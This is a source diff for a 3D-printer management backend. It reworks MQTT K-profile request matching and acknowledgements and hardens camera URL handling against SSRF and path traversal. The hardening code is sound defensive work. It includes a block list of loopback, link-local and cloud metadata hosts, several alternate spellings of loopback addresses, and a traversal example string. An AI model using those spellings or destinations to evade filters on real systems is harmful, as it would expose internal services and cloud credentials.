+                        name=str(f.get("name", "")),
+                        k_value=str(f.get("k_value", "0.000000")),
+                        n_coef=str(f.get("n_coef", "0.000000")),
+                        ams_id=int(f.get("ams_id", 0)),
+                        tray_id=int(f.get("tray_id", -1)),
+                        setting_id=f.get("setting_id"),
+                    )
+                )
+            except (ValueError, TypeError) as e:
+                # Skip malformed entries; the remaining profiles stay usable.
+                # Unsolicited broadcasts arrive constantly, so only a response
+                # someone is actually waiting on is worth a warning.
+                if log_errors:
+                    logger.warning("Failed to parse K-profile: %s", e)
+                else:
+                    logger.debug("Failed to parse K-profile from broadcast: %s", e)
+        return profiles
+
     def _handle_kprofile_response(self, data: dict):
         """Handle K-profile response from printer."""
         response_nozzle = data.get("nozzle_diameter")
-        response_seq_id = data.get("sequence_id", "?")
+        response_seq_id = str(data.get("sequence_id", ""))
         filaments = data.get("filaments", [])
-        expected_nozzle = getattr(self, "_expected_kprofile_nozzle", None)
-        has_pending_request = self._pending_kprofile_response is not None
 
-        # Log all incoming responses when we have a pending request (for debugging)
-        if has_pending_request:
+        # Snapshot the map: the asyncio thread adds and removes entries while
+        # this MQTT callback thread walks it.
+        pending = dict(self._pending_kprofile_requests)
+        request = pending.get(response_seq_id)
+
+        if request is None and pending:
+            # Firmware that doesn't echo our sequence_id still has to be
+            # served, so fall back to the pre-#1748 rule of matching on the
+            # nozzle size. Only requests still waiting are eligible, and the
+            # sequence_id lookup above has already claimed any response that
+            # identifies itself, so this can no longer hand request A's
+            # answer to request B when both are in flight.
+            request = next(
+                (r for r in pending.values() if r["nozzle"] == response_nozzle and r["profiles"] is None),
+                None,
+            )
+
+        if pending:
             logger.info(
-                f"[{self.serial_number}] K-profile response: nozzle={response_nozzle}, "
-                f"seq_id={response_seq_id}, {len(filaments)} profiles, expected={expected_nozzle}"
+                "[%s] K-profile response: nozzle=%s, seq_id=%s, %d profiles, matched=%s",
+                self.serial_number,
+                response_nozzle,
+                response_seq_id or "?",
+                len(filaments),
+                request is not None,
             )
 
-        # If we have a pending request, only accept responses with matching nozzle_diameter
-        # The printer broadcasts 0.4mm profiles constantly - we need to wait for the actual response
-        if has_pending_request and expected_nozzle and response_nozzle != expected_nozzle:
-            # Ignore this broadcast, keep waiting for matching response
+        if request is None and pending:
+            # A request is outstanding and this isn't its answer. The printer
+            # broadcasts extrusion_cali_get unsolicited, so letting this
+            # through would replace state.kprofiles with another nozzle's
+            # profiles while the caller is still waiting.
             logger.debug(
-                f"[{self.serial_number}] Ignoring broadcast: got nozzle={response_nozzle}, waiting for {expected_nozzle}"
+                "[%s] Ignoring unmatched K-profile response: nozzle=%s, seq_id=%s",
+                self.serial_number,
+                response_nozzle,
+                response_seq_id or "?",
             )
             return
 
-        # If no pending request, this is just a broadcast - update state silently and return early
-        if not has_pending_request:
-            # Still parse profiles to keep state updated, but don't log
-            profiles = []
-            for f in filaments:
-                if isinstance(f, dict):
-                    try:
-                        cali_idx = f.get("cali_idx", 0)
-                        profiles.append(
-                            KProfile(
-                                slot_id=cali_idx,
-                                extruder_id=int(f.get("extruder_id", 0)),
-                                nozzle_id=str(f.get("nozzle_id", "")),
-                                nozzle_diameter=str(f.get("nozzle_diameter", "0.4")),
-                                filament_id=str(f.get("filament_id", "")),
-                                name=str(f.get("name", "")),
-                                k_value=str(f.get("k_value", "0.000000")),
-                                n_coef=str(f.get("n_coef", "0.000000")),
-                                ams_id=int(f.get("ams_id", 0)),
-                                tray_id=int(f.get("tray_id", -1)),
-                                setting_id=f.get("setting_id"),
-                            )
-                        )
-                    except (ValueError, TypeError):
-                        pass  # Skip malformed K-profile entries; remaining profiles still usable
-            self.state.kprofiles = profiles
-            return
+        profiles = self._parse_kprofile_entries(filaments, response_nozzle, log_errors=request is not None)
+        self.state.kprofiles = profiles
 
-        profiles = []
+        if request is None:
+            # Unsolicited broadcast with nothing in flight: state is refreshed,
+            # nobody to wake.
+            return
 
-        for i, f in enumerate(filaments):
-            if isinstance(f, dict):
-                try:
-                    # cali_idx is the actual slot/calibration index from the printer
-                    cali_idx = f.get("cali_idx", i)
-                    profiles.append(
-                        KProfile(
-                            slot_id=cali_idx,
-                            extruder_id=int(f.get("extruder_id", 0)),
-                            nozzle_id=str(f.get("nozzle_id", "")),
-                            nozzle_diameter=str(f.get("nozzle_diameter", "0.4")),
-                            filament_id=str(f.get("filament_id", "")),
-                            name=str(f.get("name", "")),
-                            k_value=str(f.get("k_value", "0.000000")),
-                            n_coef=str(f.get("n_coef", "0.000000")),
-                            ams_id=int(f.get("ams_id", 0)),
-                            tray_id=int(f.get("tray_id", -1)),
-                            setting_id=f.get("setting_id"),
-                        )
-                    )
-                except (ValueError, TypeError) as e:
-                    logger.warning("Failed to parse K-profile: %s", e)
+        logger.info("[%s] Got %s K-profiles for nozzle=%s", self.serial_number, len(profiles), response_nozzle)
+        request["profiles"] = profiles
 
-        self.state.kprofiles = profiles
-        self._kprofile_response_data = profiles
-
-        # Signal that we received the response (only if we were waiting for one)
-        # Use thread-safe method since MQTT callbacks run in a different thread
-        # Capture in local var to avoid TOCTOU race: asyncio thread can clear
-        # self._pending_kprofile_response between the check and the .set() call
-        event = self._pending_kprofile_response
-        if event:
-            logger.info("[%s] Got %s K-profiles for nozzle=%s", self.serial_number, len(profiles), response_nozzle)
-            if self._loop and self._loop.is_running():
-                self._loop.call_soon_threadsafe(event.set)
-            else:
-                # Fallback for when loop is not available
-                event.set()
+        # Signal the waiter. Use the thread-safe path since MQTT callbacks run
+        # in a different thread than the event loop.
+        event = request["event"]
+        if self._loop and self._loop.is_running():
+            self._loop.call_soon_threadsafe(event.set)
+        else:
+            # Fallback for when loop is not available
+            event.set()
 
     async def get_kprofiles(
         self, nozzle_diameter: str = "0.4", timeout: float = 5.0, max_retries: int = 3
@@ -5534,11 +5728,13 @@ class BambuMQTTClient:
             return []
 
         for attempt in range(max_retries):
-            # Set up response event for this attempt
+            # Register this attempt under its own sequence_id so a concurrent
+            # request for a different nozzle size can't consume its response
+            # (#1748) — the pending map is keyed by exactly the id we send.
             self._sequence_id += 1
-            self._pending_kprofile_response = asyncio.Event()
-            self._kprofile_response_data = None
-            self._expected_kprofile_nozzle = nozzle_diameter  # Track which nozzle response we expect
+            seq_id = str(self._sequence_id)
+            request: dict = {"nozzle": nozzle_diameter, "event": asyncio.Event(), "profiles": None}
+            self._pending_kprofile_requests[seq_id] = request
 
             # Send the command with nozzle_diameter filter
             command = {
@@ -5546,20 +5742,20 @@ class BambuMQTTClient:
                     "command": "extrusion_cali_get",
                     "filament_id": "",
                     "nozzle_diameter": nozzle_diameter,
-                    "sequence_id": str(self._sequence_id),
+                    "sequence_id": seq_id,
                 }
             }
 
             logger.info(
-                f"[{self.serial_number}] Requesting K-profiles for nozzle_diameter={nozzle_diameter} (attempt {attempt + 1}/{max_retries})"
+                f"[{self.serial_number}] Requesting K-profiles for nozzle_diameter={nozzle_diameter} (attempt {attempt + 1}/{max_retries}, seq_id={seq_id})"
             )
             logger.debug("[%s] K-profile request JSON: %s", self.serial_number, json.dumps(command))
-            self._client.publish(self.topic_publish, json.dumps(command), qos=1)
 
-            # Wait for response (response handler already filters by nozzle_diameter)
+            # Wait for the response (the handler matches it back to this entry)
             try:
-                await asyncio.wait_for(self._pending_kprofile_response.wait(), timeout=timeout)
-                profiles = self._kprofile_response_data or []
+                self._client.publish(self.topic_publish, json.dumps(command), qos=1)
+                await asyncio.wait_for(request["event"].wait(), timeout=timeout)
+                profiles = request["profiles"] or []
                 logger.info(
                     f"[{self.serial_number}] Got {len(profiles)} K-profiles for nozzle={nozzle_diameter} on attempt {attempt + 1}"
                 )
@@ -5572,12 +5768,56 @@ class BambuMQTTClient:
                     # Brief delay before retry
                     await asyncio.sleep(0.5)
             finally:
-                self._pending_kprofile_response = None
-                self._expected_kprofile_nozzle = None
+                self._pending_kprofile_requests.pop(seq_id, None)
 
         logger.error("[%s] Failed to get K-profiles after %s attempts", self.serial_number, max_retries)
         return []
 
+    def _publish_cali_write(self, command: dict, seq_id: str) -> bool:
+        """Publish a K-profile write and arm its ack slot.
+
+        Registration happens before the publish because the printer answers in
+        well under a second — measured at 70-150ms — which is comfortably
+        before an async caller gets back to awaiting.
+        """
+        self._pending_cali_acks[seq_id] = None
+        try:
+            self._client.publish(self.topic_publish, json.dumps(command), qos=1)
+        except Exception:
+            self._pending_cali_acks.pop(seq_id, None)
+            raise
+        return True
+
+    async def await_cali_ack(self, seq_id: str, timeout: float = 6.0) -> tuple[bool, str]:
+        """Wait for the printer's verdict on a K-profile write.
+
+        Returns ``(ok, detail)``. ``ok`` is False only when the printer
+        explicitly said ``result: "fail"`` — a timeout returns True with a
+        detail string, because "no answer" is not evidence of rejection and
+        older firmware may not answer at all. Callers that need certainty read
+        the calibration table back.
+
+        Polled rather than event-driven on purpose: the ack is filled in by the
+        MQTT callback thread, and polling a dict costs one lookup every 50ms
+        for at most a few hundred milliseconds, against the cross-thread
+        event plumbing it would otherwise take.
+        """
+        deadline = time.monotonic() + timeout
+        try:
+            while time.monotonic() < deadline:
+                ack = self._pending_cali_acks.get(seq_id)
+                if ack is not None:
+                    result = str(ack.get("result", "")).lower()
+                    reason = str(ack.get("reason", "") or "")
+                    if result == "fail":
+                        return (False, reason or "printer reported failure")
+                    return (True, reason)
+                await asyncio.sleep(0.05)
+        finally:
+            self._pending_cali_acks.pop(seq_id, None)
+        logger.warning("[%s] No ack for K-profile write seq=%s within %.1fs", self.serial_number, seq_id, timeout)
+        return (True, "no acknowledgement from printer")
+
     def set_kprofile(
         self,
         filament_id: str,
@@ -5589,7 +5829,7 @@ class BambuMQTTClient:
         setting_id: str | None = None,
         slot_id: int = 0,
         cali_idx: int | None = None,
-    ) -> bool:
+    ) -> str | None:
         """Set/update a K-profile on the printer.
 
         Args:
@@ -5604,13 +5844,16 @@ class BambuMQTTClient:
             cali_idx: For edits, the existing slot being edited (enables in-place edit)
 
         Returns:
-            True if command was sent, False otherwise
+            The sequence_id the command was sent under, so the caller can
+            await the printer's verdict via await_cali_ack. None if the
+            command could not be sent.
         """
         if not self._client or not self.state.connected:
             logger.warning("[%s] Cannot set K-profile: not connected", self.serial_number)
-            return False
+            return None
 
         self._sequence_id += 1
+        seq_id = str(self._sequence_id)
 
         # Build the filament entry - printer uses cali_idx for profile identification
         # For new profiles (slot_id=0), use cali_idx=-1 to tell printer to create new slot
@@ -5638,7 +5881,13 @@ class BambuMQTTClient:
             "nozzle_diameter": nozzle_diameter,
             "nozzle_id": nozzle_id,
             "setting_id": setting_id if setting_id else "",
-            "tray_id": -1,
+            # 0, not -1. Single-nozzle firmware validates this field and
+            # answers `result: "fail", reason: "invalid tray_id"` to -1 — while
+            # applying the write anyway, so the rejection looked like noise.
+            # Measured on an X1C: flipping only this value turns the ack into
+            # `success` (#2718). BambuStudio always sends a real tray_id and
+            # defaults it to 0 for a manually entered profile.
+            "tray_id": 0,
         }
 
         command = {
@@ -5646,7 +5895,7 @@ class BambuMQTTClient:
                 "command": "extrusion_cali_set",
                 "filaments": [filament_entry],
                 "nozzle_diameter": nozzle_diameter,
-                "sequence_id": str(self._sequence_id),
+                "sequence_id": seq_id,
             }
         }
 
@@ -5655,14 +5904,14 @@ class BambuMQTTClient:
             f"[{self.serial_number}] Setting K-profile: {name} = {k_value} (cali_idx={effective_cali_idx}, new={slot_id == 0})"
         )
         logger.debug("[%s] K-profile SET command: %s", self.serial_number, command_json)
-        self._client.publish(self.topic_publish, command_json, qos=1)
-        return True
+        self._publish_cali_write(command, seq_id)
+        return seq_id
 
     def set_kprofiles_batch(
         self,
         profiles: list[dict],
         nozzle_diameter: str = "0.4",
-    ) -> bool:
+    ) -> str | None:
         """Set multiple K-profiles in a single command (for dual-nozzle).
 
         Args:
@@ -5671,15 +5920,17 @@ class BambuMQTTClient:
             nozzle_diameter: Common nozzle diameter for all profiles
 
         Returns:
-            True if command was sent, False otherwise
+            The sequence_id the command was sent under (see set_kprofile),
+            or None if it could not be sent.
         """
         if not self._client or not self.state.connected:
             logger.warning("[%s] Cannot set K-profiles batch: not connected", self.serial_number)
-            return False
+            return None
 
         import random
 
         self._sequence_id += 1
+        seq_id = str(self._sequence_id)
 
         filament_entries = []
         for p in profiles:
@@ -5707,7 +5958,9 @@ class BambuMQTTClient:
                     "nozzle_diameter": nozzle_diameter,
                     "nozzle_id": p.get("nozzle_id", f"HS00-{nozzle_diameter}"),
                     "setting_id": setting_id if setting_id else "",
-                    "tray_id": -1,
+                    # See set_kprofile: -1 is rejected as "invalid tray_id" by
+                    # single-nozzle firmware even though the write lands (#2718).
+                    "tray_id": 0,
                 }
             )
 
@@ -5716,15 +5969,15 @@ class BambuMQTTClient:
                 "command": "extrusion_cali_set",
                 "filaments": filament_entries,
                 "nozzle_diameter": nozzle_diameter,
-                "sequence_id": str(self._sequence_id),
+                "sequence_id": seq_id,
             }
         }
 
         command_json = json.dumps(command)
         logger.info("[%s] Setting %s K-profiles in batch", self.serial_number, len(filament_entries))
         logger.debug("[%s] K-profile SET batch command: %s", self.serial_number, command_json)
-        self._client.publish(self.topic_publish, command_json, qos=1)
-        return True
+        self._publish_cali_write(command, seq_id)
+        return seq_id
 
     def delete_kprofile(
         self,
@@ -5734,7 +5987,7 @@ class BambuMQTTClient:
         nozzle_diameter: str = "0.4",
         extruder_id: int = 0,
         setting_id: str | None = None,
-    ) -> bool:
+    ) -> str | None:
         """Delete a K-profile from the printer.
 
         Args:
@@ -5746,13 +5999,15 @@ class BambuMQTTClient:
             setting_id: Unique setting identifier (for X1C series)
 
         Returns:
-            True if command was sent, False otherwise
+            The sequence_id the command was sent under (see set_kprofile),
+            or None if it could not be sent.
         """
         if not self._client or not self.state.connected:
             logger.warning("[%s] Cannot delete K-profile: not connected", self.serial_number)
-            return False
+            return None
 
         self._sequence_id += 1
+        seq_id = str(self._sequence_id)
 
         # Dual-nozzle K-profile delete uses the extruder_id/nozzle_id format;
         # single-nozzle printers (X1C/P1/A1/P2S/H2S) need the setting_id form.
@@ -5768,7 +6023,7 @@ class BambuMQTTClient:
             command = {
                 "print": {
                     "command": "extrusion_cali_del",
-                    "sequence_id": str(self._sequence_id),
+                    "sequence_id": seq_id,
                     "extruder_id": extruder_id,
                     "nozzle_id": nozzle_id,
                     "filament_id": filament_id,
@@ -5782,7 +6037,7 @@ class BambuMQTTClient:
             command = {
                 "print": {
                     "command": "extrusion_cali_del",
-                    "sequence_id": str(self._sequence_id),
+                    "sequence_id": seq_id,
                     "filament_id": filament_id,
                     "cali_idx": cali_idx,
                     "setting_id": setting_id if setting_id else "",
@@ -5797,9 +6052,9 @@ class BambuMQTTClient:
             f"[{self.serial_number}] Deleting K-profile: cali_idx={cali_idx}, filament={filament_id}, setting_id={setting_id}, dual={is_dual_nozzle}"
         )
         logger.debug("[%s] K-profile DELETE command: %s", self.serial_number, command_json)
-        # Use QoS 1 for reliable delivery (at least once)
-        self._client.publish(self.topic_publish, command_json, qos=1)
-        return True
+        # QoS 1 for reliable delivery (at least once)
+        self._publish_cali_write(command, seq_id)
+        return seq_id
 
     # =========================================================================
     # Printer Control Commands
@@ -6642,6 +6897,11 @@ class BambuMQTTClient:
             logger.warning("[%s] Cannot set K value: not connected", self.serial_number)
             return False
 
+        # Was reusing the previous command's id — harmless while nothing
+        # correlated on it, but the printer echoes sequence_id back and the
+        # K-profile write path now matches acks by it (#2718).
+        self._sequence_id += 1
+
         nozzle_id = f"HS00-{nozzle_diameter}"
 
         # A2L AMS-Lite: a normalised global tray (24-27) must go out as the

+ 158 - 51
backend/app/services/external_camera.py

@@ -9,9 +9,11 @@ to ensure they are well-formed before use.
 
 import asyncio
 import functools
+import ipaddress
 import logging
 import re
 import shutil
+import socket
 from collections.abc import AsyncGenerator, Callable
 from pathlib import Path
 from urllib.parse import urlparse
@@ -22,13 +24,77 @@ from backend.app.core.logging_filters import redact_url_credentials
 
 logger = logging.getLogger(__name__)
 
+# Protocols ffmpeg may use for an RTSP input. RTSP negotiates its media
+# transport at runtime, so the transports have to be here alongside rtsp itself;
+# tls and crypto cover encrypted variants. Everything ffmpeg would otherwise
+# accept behind an -i — file, http, tcp to anywhere, concat — is left out, so a
+# stream that references something outside itself cannot pull it in.
+_RTSP_PROTOCOL_WHITELIST = "rtsp,rtp,udp,tcp,tls,crypto"
+
+
+def _blocked_host_reason(hostname: str) -> str | None:
+    """Describe why *hostname* is a destination we refuse to fetch, or None to allow it.
+
+    Camera URLs are user-supplied and reach the network — over aiohttp for the
+    HTTP types, and as an ``ffmpeg -i`` argument for RTSP — so this is where the
+    SSRF boundary sits. LAN addresses are deliberately allowed: cameras live on
+    the same network as Bambuddy, and blocking RFC-1918 would remove the feature
+    rather than protect it. What is left to refuse is the host talking to
+    itself, the unspecified address, link-local (which is where the cloud
+    metadata endpoint lives), and the metadata hostnames.
+
+    IP literals are classified with ``ipaddress`` rather than compared against a
+    list of spellings, because 127.0.0.1, 127.0.0.2, 2130706433, 0177.0.0.1,
+    127.1 and ::ffff:127.0.0.1 all arrive at loopback and a list of strings only
+    ever catches whichever one someone thought to write down. ``inet_aton``
+    comes first because it accepts the legacy octal, decimal and short forms
+    that ``ip_address`` rejects — the C resolvers behind aiohttp and ffmpeg
+    accept them, so refusing to understand them here would only mean not seeing
+    where the request is actually going.
+    """
+    host = hostname.lower()
+
+    ip: ipaddress.IPv4Address | ipaddress.IPv6Address | None = None
+    try:
+        ip = ipaddress.ip_address(socket.inet_aton(host))
+    except OSError:
+        try:
+            ip = ipaddress.ip_address(host)
+        except ValueError:
+            ip = None
+
+    if ip is None:
+        # A name, not an address. It is not resolved here on purpose: aiohttp
+        # and ffmpeg each resolve independently afterwards, so a check here
+        # decides nothing about where they end up (DNS rebinding), while a
+        # lookup on every capture would break LAN cameras behind slow or
+        # intermittent local DNS.
+        if host == "localhost" or host.endswith(".localhost"):
+            return "localhost"
+        if host in ("metadata.google.internal", "metadata.google"):
+            return "a cloud metadata service"
+        return None
+
+    # ::ffff:127.0.0.1 is loopback wearing an IPv6 spelling.
+    mapped = getattr(ip, "ipv4_mapped", None)
+    if mapped is not None:
+        ip = mapped
+
+    if ip.is_loopback:
+        return "loopback"
+    if ip.is_unspecified:
+        return "the unspecified address"
+    if ip.is_link_local:
+        return "a link-local address (the cloud metadata range)"
+    return None
+
 
 def _sanitize_camera_url(url: str, allowed_schemes: tuple[str, ...] = ("http", "https", "rtsp")) -> str | None:
     """Validate and sanitize camera URL, returning a safe reconstructed URL.
 
-    This validates that the URL is well-formed, uses an allowed scheme,
-    does not target cloud metadata services, and returns a reconstructed
-    URL from validated components.
+    This validates that the URL is well-formed, uses an allowed scheme, does not
+    target the host itself or a cloud metadata service, and returns a URL
+    reconstructed from the validated components.
 
     Note: This intentionally allows user-provided URLs as that is the
     purpose of external camera configuration. Local network IPs are
@@ -51,37 +117,35 @@ def _sanitize_camera_url(url: str, allowed_schemes: tuple[str, ...] = ("http", "
         if scheme not in allowed_schemes:
             return None
 
-        # Block cloud metadata service endpoints (SSRF mitigation)
-        # These are dangerous destinations that should never be accessed
         hostname = parsed.hostname or ""
-        hostname_lower = hostname.lower()
-        blocked_hosts = (
-            "169.254.169.254",  # AWS/GCP/Azure metadata
-            "metadata.google.internal",  # GCP metadata
-            "metadata.google",
-            "localhost",  # Block localhost to prevent internal service access
-            "127.0.0.1",
-            "::1",
-            "0.0.0.0",  # nosec B104
-        )
-        if hostname_lower in blocked_hosts:
-            logger.warning("Blocked camera URL targeting restricted host: %s", hostname)
+        if not hostname:
             return None
-
-        # Block link-local addresses (169.254.x.x)
-        if hostname.startswith("169.254."):
-            logger.warning("Blocked camera URL targeting link-local address: %s", hostname)
+        blocked = _blocked_host_reason(hostname)
+        if blocked:
+            logger.warning("Blocked camera URL targeting %s: %s", blocked, hostname)
             return None
 
         # Reconstruct URL from validated components to break taint chain
         # This creates a new string from validated parts
+        #
+        # The credentials are carried across verbatim from netloc rather than
+        # via parsed.username/.password, which urlparse has already percent-
+        # decoded: re-emitting those would corrupt any password containing an
+        # @ or a :. They have to survive at all because most RTSP cameras — and
+        # a fair number of MJPEG ones — carry their login in the URL, and
+        # dropping it turns every one of them into an authentication failure.
+        netloc = parsed.netloc
+        userinfo = f"{netloc.rsplit('@', 1)[0]}@" if "@" in netloc else ""
+        # parsed.hostname has already stripped the brackets off an IPv6 literal;
+        # without them back the result is not a URL any client can parse.
+        host_str = f"[{hostname}]" if ":" in hostname else hostname
         port_str = f":{parsed.port}" if parsed.port else ""
         path = parsed.path or ""
         query = f"?{parsed.query}" if parsed.query else ""
         fragment = f"#{parsed.fragment}" if parsed.fragment else ""
 
         # Build sanitized URL from validated components
-        sanitized = f"{scheme}://{hostname}{port_str}{path}{query}{fragment}"
+        sanitized = f"{scheme}://{userinfo}{host_str}{port_str}{path}{query}{fragment}"
         return sanitized
     except ValueError:
         return None
@@ -380,18 +444,18 @@ async def _capture_frame_uncoalesced(
         return None
 
 
-async def _capture_usb_frame(device: str, timeout: int) -> bytes | None:
-    """Capture frame from USB camera using ffmpeg."""
-    ffmpeg = get_ffmpeg_path()
-    if not ffmpeg:
-        logger.error("ffmpeg not found - required for USB camera capture")
-        return None
+def _safe_usb_device_path(device: str) -> str | None:
+    """Rebuild a /dev/videoN path from a validated device number, or None.
 
-    # Validate device path - must be /dev/videoN format where N is 0-99
-    # This prevents path traversal by using a strict allowlist approach
-    import re as regex_module
+    Validate device path - must be /dev/videoN format where N is 0-99. This
+    prevents path traversal by using a strict allowlist approach: the returned
+    path is built from an integer, which cannot carry a traversal, rather than
+    from any part of the caller's string.
 
-    device_match = regex_module.match(r"^/dev/video(\d{1,2})$", device)
+    Returns None if the device does not exist, so a caller cannot hand ffmpeg a
+    path to something that is not a device node.
+    """
+    device_match = re.match(r"^/dev/video(\d{1,2})$", device)
     if not device_match:
         logger.error("Invalid USB device path format: %s", device)
         return None
@@ -399,9 +463,6 @@ async def _capture_usb_frame(device: str, timeout: int) -> bytes | None:
     # Convert to integer to break taint chain - integers cannot contain path traversal
     # lgtm[py/path-injection] - device_num is validated integer 0-99
     device_num = int(device_match.group(1))  # Safe: regex guarantees 1-2 digits
-    if device_num > 99:
-        logger.error("USB device number out of range: %s", device_num)
-        return None
 
     # Construct safe path from validated integer (completely untainted)
     safe_device_path = Path(f"/dev/video{device_num}")  # lgtm[py/path-injection]
@@ -410,8 +471,22 @@ async def _capture_usb_frame(device: str, timeout: int) -> bytes | None:
         logger.error("USB device does not exist: %s", safe_device_path)
         return None
 
+    return str(safe_device_path)  # lgtm[py/path-injection]
+
+
+async def _capture_usb_frame(device: str, timeout: int) -> bytes | None:
+    """Capture frame from USB camera using ffmpeg."""
+    ffmpeg = get_ffmpeg_path()
+    if not ffmpeg:
+        logger.error("ffmpeg not found - required for USB camera capture")
+        return None
+
+    safe_device = _safe_usb_device_path(device)
+    if not safe_device:
+        return None
+
     # Use the safe path for ffmpeg - this is a hardcoded /dev/videoN path
-    device = str(safe_device_path)  # lgtm[py/path-injection]
+    device = safe_device  # lgtm[py/path-injection]
 
     # Use ffmpeg to grab a single frame from USB camera
     cmd = [
@@ -542,22 +617,34 @@ async def _capture_rtsp_frame(url: str, timeout: int) -> bytes | None:
     """Capture frame from RTSP using ffmpeg.
 
     For rtsps:// URLs, a local TLS proxy is used to avoid GnuTLS issues.
+
+    Note: this function intentionally connects to user-configured URLs, the same
+    as the MJPEG and snapshot paths. The URL is sanitized and dangerous
+    destinations are blocked before it reaches ffmpeg.
     """
     ffmpeg = get_ffmpeg_path()
     if not ffmpeg:
         logger.error("ffmpeg not found - required for RTSP capture")
         return None
 
+    # ffmpeg's -i accepts every protocol it was built with, so an unchecked URL
+    # here is a request to any host and scheme the caller names, not merely to a
+    # camera. Restricting the scheme to RTSP is what keeps this a camera fetch.
+    safe_url = _sanitize_camera_url(url, ("rtsp", "rtsps"))
+    if not safe_url:
+        logger.error("Invalid RTSP URL: %s...", redact_url_credentials(url)[:50])
+        return None
+
     # If rtsps://, use TLS proxy
     proxy_server = None
-    effective_url = url
-    if url.lower().startswith("rtsps://"):
+    effective_url = safe_url
+    if safe_url.lower().startswith("rtsps://"):
         try:
             from urllib.parse import urlparse
 
             from backend.app.services.camera import create_tls_proxy
 
-            parsed = urlparse(url)
+            parsed = urlparse(safe_url)
             target_port = parsed.port or 322
             proxy_port, proxy_server = await create_tls_proxy(parsed.hostname, target_port)
             userinfo = ""
@@ -566,17 +653,24 @@ async def _capture_rtsp_frame(url: str, timeout: int) -> bytes | None:
                 if parsed.password:
                     userinfo += f":{parsed.password}"
                 userinfo += "@"
+            # Points at loopback deliberately, and is built after the check
+            # above rather than re-checked: the destination that mattered was
+            # the one the caller named, and it has already been vetted.
             effective_url = f"rtsp://{userinfo}127.0.0.1:{proxy_port}{parsed.path}"
             if parsed.query:
                 effective_url += f"?{parsed.query}"
         except Exception as e:
             logger.warning("Failed to create TLS proxy for RTSP capture, falling back: %s", e)
-            effective_url = url
+            effective_url = safe_url
 
     cmd = [
         ffmpeg,
         "-rtsp_transport",
         "tcp",
+        # Belt and braces on the scheme check above: a demuxer that follows a
+        # reference out of the stream cannot leave these protocols either.
+        "-protocol_whitelist",
+        _RTSP_PROTOCOL_WHITELIST,
         "-i",
         effective_url,
         "-frames:v",
@@ -956,6 +1050,11 @@ async def _stream_rtsp(
     For rtsps:// URLs, a local TLS proxy (Python OpenSSL) is used instead
     of relying on ffmpeg's GnuTLS backend, which has compatibility issues
     with some printer firmwares.
+
+    Note: this function intentionally connects to user-configured URLs. The URL
+    is sanitized and dangerous destinations are blocked before it reaches
+    ffmpeg — see ``_capture_rtsp_frame``, which guards the one-shot path the
+    same way.
     """
     ffmpeg = get_ffmpeg_path()
     if not ffmpeg:
@@ -964,16 +1063,21 @@ async def _stream_rtsp(
 
     from backend.app.services.camera import rtsp_socket_timeout_flag
 
+    safe_url = _sanitize_camera_url(url, ("rtsp", "rtsps"))
+    if not safe_url:
+        logger.error("Invalid RTSP stream URL: %s...", redact_url_credentials(url)[:50])
+        return
+
     # If the URL uses rtsps://, set up a TLS proxy so ffmpeg uses plain rtsp://
     proxy_server = None
-    effective_url = url
-    if url.lower().startswith("rtsps://"):
+    effective_url = safe_url
+    if safe_url.lower().startswith("rtsps://"):
         try:
             from urllib.parse import urlparse
 
             from backend.app.services.camera import create_tls_proxy
 
-            parsed = urlparse(url)
+            parsed = urlparse(safe_url)
             target_port = parsed.port or 322
             proxy_port, proxy_server = await create_tls_proxy(parsed.hostname, target_port)
             # Rewrite URL: rtsps://user:pass@host:port/path → rtsp://user:pass@127.0.0.1:proxy/path
@@ -983,12 +1087,14 @@ async def _stream_rtsp(
                 if parsed.password:
                     userinfo += f":{parsed.password}"
                 userinfo += "@"
+            # Loopback by design, and built after the check above rather than
+            # re-checked — see the same rewrite in _capture_rtsp_frame.
             effective_url = f"rtsp://{userinfo}127.0.0.1:{proxy_port}{parsed.path}"
             if parsed.query:
                 effective_url += f"?{parsed.query}"
         except Exception as e:
             logger.warning("Failed to create TLS proxy for RTSP, falling back to direct: %s", e)
-            effective_url = url
+            effective_url = safe_url
 
     cmd = [
         ffmpeg,
@@ -996,6 +1102,8 @@ async def _stream_rtsp(
         "tcp",
         "-rtsp_flags",
         "prefer_tcp",
+        "-protocol_whitelist",
+        _RTSP_PROTOCOL_WHITELIST,
         # Socket I/O timeout name varies by ffmpeg version (#1504); see
         # `rtsp_socket_timeout_flag()` in services.camera.
         f"-{rtsp_socket_timeout_flag()}",
@@ -1109,14 +1217,13 @@ async def _stream_usb(
         logger.error("ffmpeg not found - required for USB camera streaming")
         return
 
-    # Validate device path
-    if not device.startswith("/dev/video"):
-        logger.error("Invalid USB device path: %s", device)
-        return
-
-    if not Path(device).exists():
-        logger.error("USB device does not exist: %s", device)
+    # Same validation as the one-shot path: a prefix check accepted
+    # /dev/video/../../<anything that exists>, which -f v4l2 would then refuse
+    # rather than the check refusing it.
+    safe_device = _safe_usb_device_path(device)
+    if not safe_device:
         return
+    device = safe_device
 
     # ffmpeg command to stream from USB camera (v4l2)
     cmd = [

+ 335 - 58
backend/app/services/github_backup.py

@@ -8,7 +8,7 @@ import logging
 from datetime import datetime, timedelta, timezone
 
 import httpx
-from sqlalchemy import desc, select
+from sqlalchemy import desc, or_, select
 from sqlalchemy.ext.asyncio import AsyncSession
 
 from backend.app.core.database import async_session
@@ -18,11 +18,61 @@ from backend.app.models.printer import Printer
 from backend.app.models.settings import Settings
 from backend.app.models.spool import Spool
 from backend.app.models.spool_usage_history import SpoolUsageHistory
+from backend.app.models.user import User
 from backend.app.services.git_providers.factory import get_provider_backend
 from backend.app.services.printer_manager import printer_manager
 
 logger = logging.getLogger(__name__)
 
+# Bambu's listing endpoint is keyed by preset type and calls process presets
+# "print". Same mapping as `routes/cloud.py` — kept in step with it, since a
+# divergence here silently drops a whole preset type from every backup.
+_BAMBU_PRESET_TYPES = {
+    "filament": "filament",
+    "printer": "printer",
+    "print": "process",
+}
+
+
+def _bambu_preset_record(setting_id, our_type: str, entry: dict, detail: dict) -> dict:
+    """One Bambu preset as stored in the backup: metadata plus the payload.
+
+    ``base_id`` and ``setting`` are the two fields ``BambuCloudService.
+    create_setting`` needs, so a restore can rebuild the preset rather than
+    just list it.
+
+    ``user_id`` from the listing is deliberately dropped. It identifies the
+    account and adds nothing to a rebuild, and backup repositories can be
+    public.
+    """
+    return {
+        "setting_id": str(setting_id),
+        "name": detail.get("name") or entry.get("name") or "Unknown",
+        "type": our_type,
+        "version": detail.get("version") or entry.get("version"),
+        "updated_time": entry.get("updated_time"),
+        "base_id": detail.get("base_id"),
+        "filament_id": detail.get("filament_id"),
+        "setting": detail.get("setting") or {},
+    }
+
+
